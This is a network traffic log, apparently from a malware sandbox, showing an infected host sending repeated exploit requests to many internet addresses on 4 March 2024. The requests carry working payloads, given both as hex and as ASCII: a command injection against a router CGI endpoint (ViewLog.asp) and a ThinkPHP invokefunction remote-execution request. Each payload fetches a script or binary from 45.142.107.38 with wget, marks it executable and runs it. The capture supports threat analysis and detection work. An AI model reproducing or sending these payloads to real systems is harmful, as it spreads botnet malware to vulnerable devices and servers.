Mar 4, 2024 15:06:08.808094978 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.13	58418	88.195.70.170	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:09.261131048 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:10.391057968 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:10.605422974 CET	339	IN	HTTP/1.0 400 Bad Request Date: Mon, 04 Mar 2024 14:06:10 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 63 6c 69 65 6e 74 20 68 61 73 20 69 73 73 75 65 64 20 61 20 6d 61 6c 66 6f 72 6d 65 64 20 6f 72 20 69 6c 6c 65 67 61 6c 20 72 65 71 75 65 73 74 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Your client has issued a malformed or illegal request.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.13	50048	62.29.27.174	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:09.365885019 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.13	32890	95.179.143.76	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:10.202651978 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:10.367722988 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 04 Mar 2024 14:06:10 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.13	44746	95.100.63.183	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:10.221199989 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:10.403577089 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Mon, 04 Mar 2024 14:06:10 GMT Date: Mon, 04 Mar 2024 14:06:10 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 65 31 36 31 35 30 32 26 23 34 36 3b 31 37 30 39 35 36 31 31 37 30 26 23 34 36 3b 39 35 63 61 33 61 65 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.1e161502.1709561170.95ca3ae</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.13	43780	88.208.226.83	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:10.425676107 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:10.584913015 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:06:10 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.13	57182	112.132.250.141	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:10.550865889 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:10.903918982 CET	315	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 04 Mar 2024 14:06:10 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.13	57184	112.132.250.141	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:10.569813013 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:10.946341038 CET	315	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 04 Mar 2024 14:06:10 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.13	45336	112.29.133.159	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:10.907335043 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:11.612751007 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:06:10 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.13	44074	94.253.53.221	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:11.595804930 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:11.811357021 CET	224	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Content-Length: 106 Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.13	49126	95.164.242.51	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:11.900042057 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:11.989290953 CET	1260	IN	HTTP/1.1 400 Bad Request Server: squid/3.5.27 Mime-Version: 1.0 Date: Mon, 04 Mar 2024 14:06:11 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3558 X-Squid-Error: ERR_INVALID_URL 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from ubuntu X-Cache-Lookup: NONE from ubuntu:8080 Via: 1.1 ubuntu (squid/3.5.27) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2017 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2017 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-seri

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.13	46052	31.136.166.90	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:11.991064072 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:12.535204887 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:13.623070955 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:15.927226067 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:20.279076099 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:28.983057976 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:47.159060955 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:21.975100040 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.13	35586	95.68.82.61	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:12.012593985 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
